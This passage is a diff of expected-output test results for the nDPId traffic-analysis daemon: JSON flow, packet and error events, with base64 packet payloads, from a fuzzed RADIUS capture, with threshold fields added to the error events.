00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":284,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998279797842,"flow_src_last_pkt_time":1528998279797842,"flow_dst_last_pkt_time":1528998279797842,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":655,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":655,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998279797842,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.80.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":291,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":64,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998285403937,"flow_src_last_pkt_time":1528998285403937,"flow_dst_last_pkt_time":1528998285403937,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998285403937,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"14.12.64.30","src_port":3860,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00696{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_src_last_pkt_time":1528998285403937,"flow_dst_last_pkt_time":1528998285403937,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528998285403937,"pkt":"ABRP+4rqcNuYVcUnCABFAAClDBBAAPwRR\/bG4hk1DgxAHg8UchAAkVlTC5wAid6Vm2Prh8ff1igjujrPQY0BNTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWPjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmELODcvNWM6MWQ6ZDk6NTM6MGM6OWIvMjM5Tw4BAAAMFwwAAAwBf\/xQEvWoCrn3KdnMpOYKRlABwJ8="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":293,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528998285592193} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998285592193,"packet_id":293,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528998285592193} 00565{"packet_event_id":1,"packet_event_name":"packet","packet_id":293,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528998285529302,"pkt":"ABRP+4rqcNuYVcUnCABFAADADBdAEPwRR9TG4hlFCgxAHgcUchAArDMCA50ApI8fGqCVnysbmexp5ciWlfwBJTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5ODcvNWM6MWQ6ZDk6NTM6MGM6OWIvMjM5EiIzMjc2NCBTqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00933{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":294,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":81,"flow_dst_packets_processed":78,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528998285529302,"flow_dst_last_pkt_time":1528998282717553,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":143,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":54782,"flow_dst_tot_l4_payload_len":15355,"midstream":0,"thread_ts_usec":1528998285529302,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":294,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":57,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998226495276,"flow_src_last_pkt_time":1528998226495276,"flow_dst_last_pkt_time":1528998226495276,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998285529302,"l3_proto":"ip4","src_ip":"10.12.82.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -477,36 +477,36 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":66,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998308061932,"flow_src_last_pkt_time":1528998308061932,"flow_dst_last_pkt_time":1528998308061932,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998308061932,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29232,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01422{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_src_last_pkt_time":1528998308061932,"flow_dst_last_pkt_time":1528998308061932,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528998308061932,"pkt":"AAAMB3BAABRP+4rqCABFAALHIU9AAP8RAAAKDEAexuIZNXIwBxRDswAAAZ8Cq9PofZmSNOhQyNOgaRsyJ1QaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNYUjEwGgkAADghDQMwNxZbIqmjATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yaS5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b243aUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkczEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NTIvZjA6Nzk6JQA6ZDE6N2Q6MzcvMjM3BAasFAEQIA5WWldDhFRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAADqGOBIENmf79hbM4GZs1ZYAwIAIJdiOR0aFAC4V8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhBhAFfICwpUZXN0IExhYhoJAABXyA8DMRoKpwBXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaHJlY3QaDAAABYNHBsBQSplQEuURqTNatQDGcJFc00xUIbY="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":296,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":66,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998308061932,"flow_src_last_pkt_time":1528998308061932,"flow_dst_last_pkt_time":1528998308061932,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":683,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":683,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":683,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998308061932,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29232,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":297,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":16640,"global_ts_usec":1528998308249791} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998308249791,"packet_id":297,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":16640,"global_ts_usec":1528998308249791} 00716{"packet_event_id":1,"packet_event_name":"packet","packet_id":297,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":16640,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528998308061932,"pkt":"ABRP+4rqcNu2VcUnQQBFAAEwDINAAPsRR\/jG4hk1CgwlAAcUchABHKZIAp8BFMKP3L7bmNggOPWkTIavpgoaCwAAV8gbBVNQQxpuAAABNxA0723Z5fHoC0l+gadvadgzfaSzCz27rPwxopk71TEDK1VIm8mW\/vsFxUsHy2TxysAjZO8RNM3E07NOswLZR1Yjduj2RuApthb0mlkqWQZZpjfg4Vd1eYt2TqpojJTwm8thaNHCskFYATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLiUAYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhOTUyL2YwOjc5OlAwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFeVBDTwYDAgAEUBIoTJCJ2HxVvdUlAOn56UH9"} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":298,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528998308483432} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998308483432,"packet_id":298,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528998308483432} 01287{"packet_event_id":1,"packet_event_name":"packet","packet_id":298,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528998308061932,"pkt":"AAAMB6xAABRP+4rqCAAkAALbIVBAAP8RAAAKDEAexuIZNXIQBxQCxwAAAaACv\/i0glgkXqR4abyMOyu1FuUaCgAAV8gOBFVTGgwAAFfIDSUAaWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqmkATUwMzExNDgwNDMyNjA4NTg2QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TNWMtMWQtZDktNTMtMGMtOWIeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpLi1zZXNzaW9uLWl0PTEwZmYxMGFjMDAwMDAwZDFhNGE5MjI1YiwgNWIyMmE5YTQvNWM6MWQ6ZDE6NTM6MGM6OWIvMjQwBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABFABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODA0MzJoMDg1ODbWd2xhbi5tbkM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhdWQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZCUAbURpcmVjdBoMAAAFgwdbwFBKmVAS3DaqxzVlY8YVdJMYTWA\/Jw=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998314309308,"flow_src_last_pkt_time":1528998314309308,"flow_dst_last_pkt_time":1528998314309308,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998314309308,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.81.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00695{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_src_last_pkt_time":1528998314309308,"flow_dst_last_pkt_time":1528998314309308,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528998314309308,"pkt":"ABRP+4pIcNuYVcUnCABFAAClDKJAAPwRR2TG4hk1ClFAHgcUchAAkVZiC6QAiXXtUkUY2UEpsUhCUrecX98BNTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5YTQvNWM6MWQ6ZDk6NTM6MGM6OWIvMjQwTw4BAAAMFwwAAAwBf\/xQEi8FyNCyWjoJnDm8uRInVVc="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":307,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":67,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998314309308,"flow_src_last_pkt_time":1528998314309308,"flow_dst_last_pkt_time":1528998314309308,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998314309308,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.81.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":309,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":68,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998314512887,"flow_src_last_pkt_time":1528998314512887,"flow_dst_last_pkt_time":1528998314512887,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":164,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":164,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":164,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998314512887,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":43028,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00731{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_src_last_pkt_time":1528998314512887,"flow_dst_last_pkt_time":1528998314512887,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"thread_ts_usec":1528998314512887,"pkt":"ABRP+4rqcNuYVcUnCABFAADADKZAAPwRR0XG4hk1CgxAHqgUchAArLr7A6UApAJ1Pjz8JGCwuo5GIgtQcZwBNTAzMTE0ODA0MzI2MDg1ODZAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm5yZywgNWIyMmE5YTQvNWM6MWQ6ZDk6QjM6MGM6OWIvMjQwEiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92a3Npa25lZE8HBAEABwBQEil3cnDy8\/cVSnBQY7FdIyI="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":312,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528998315379425} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998315379425,"packet_id":312,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528998315379425} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":312,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528998315061032,"pkt":"AAAMB6xAABRPC4rqCABFAHfHIVdAAP8RAAAKDEAexuIZNXIQBxQCswAAAXcCq7birWrbSCR0XX2ECsyLDxcaCgAAVcgOBFVTGgwAAFfIDQZ3aWZp7g8AEFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqmrATUwMzExNDgwMDczNlA4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtN6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":313,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":17152,"global_ts_usec":1528998315564266} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998315564266,"packet_id":313,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":17152,"global_ts_usec":1528998315564266} 00717{"packet_event_id":1,"packet_event_name":"packet","packet_id":313,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":17152,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528998315061032,"pkt":"ABRU+4rqcNuYVcUnQwBFAAEwDOpAAPwRRszG4hk1CgxAHgcUchABHIc+AicBFAVYRP7z9BnlCK2x3nMNu9caCwAAV8gbBVNQQ\/1uAAABNxA0lSfZbnfLLhoh4+5ALjW4bpaGB\/F5lLUmaXWeOTpERaZCygHBXW8G5d8wRSUAsOoyXuERNO7GEB2l9DfyYkq5gsPl9gYDdVKWsTzavhi3cpWL4d4hWImwBdGLigMB9OjFS4NJg5i2ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29iay5vcmcsIDViMjJhOTUyL2YwOjc5OjYwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBKDY\/Qv9KooB2GY4bCH4+IC"} 00928{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":2,"flow_first_seen":1528998257171672,"flow_src_last_pkt_time":1528998257171672,"flow_dst_last_pkt_time":1528998257456042,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":164,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":301,"midstream":0,"thread_ts_usec":1528998315061032,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00923{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":61,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998260755072,"flow_src_last_pkt_time":1528998260755072,"flow_dst_last_pkt_time":1528998260755072,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998315061032,"l3_proto":"ip4","src_ip":"10.6.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":314,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998260831633,"flow_src_last_pkt_time":1528998260831633,"flow_dst_last_pkt_time":1528998260831633,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998315061032,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":315,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205,"global_ts_usec":1528998323044401} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998323044401,"packet_id":315,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205,"global_ts_usec":1528998323044401} 00609{"packet_event_id":1,"packet_event_name":"packet","packet_id":315,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"thread_ts_usec":1528998322857233,"pkt":"ABRP+0zqcNuYVcUnCABFAAAlAL1AEPwRRw3G4hk1CgxAHgcUchAAzTbHC6gAxWfYqv2MMmfQQQEjLJV5MYwBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NTIvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjA3T0oBAgBIFwEAAAEFAAASnKqRiXtNkJ7pl81Lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00200{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":317,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528998323568325} +00300{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998323568325,"packet_id":317,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1528998323568325} 00714{"packet_event_id":1,"packet_event_name":"packet","packet_id":317,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528998323340801,"pkt":"ABRP+4rqcNsYVcUnCACOAAEwDMFAAPwRRrrG4hk1CgxAHgcUchABHN46AqkBFC7XsmGo9thH1H39z75ZofsaCwAAV8gbBVNQQxpuAAABNxA01fgke7cAxvNUQc8fbhbu8Vj1f4ydqDyFV6zE3SwbdURor5DaN1W5275SM8SlmfBSLKIRNMdp\/4Zs6S04Xowx3iRvmA3n8taa5E4m8wpB3etCd2VzmAkdeZLlem0oTIzBlWNTWH1RATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jSzgwLm1jYzMxMS4zZ3BwbmV0d2Vyay5vc04sIDViMjJhOTUyL2YwOjc5OjYwOmQxOjdkOjM3LzIzN1kMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBLs7b4ERJr4qPbI12xbGqC0"} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection 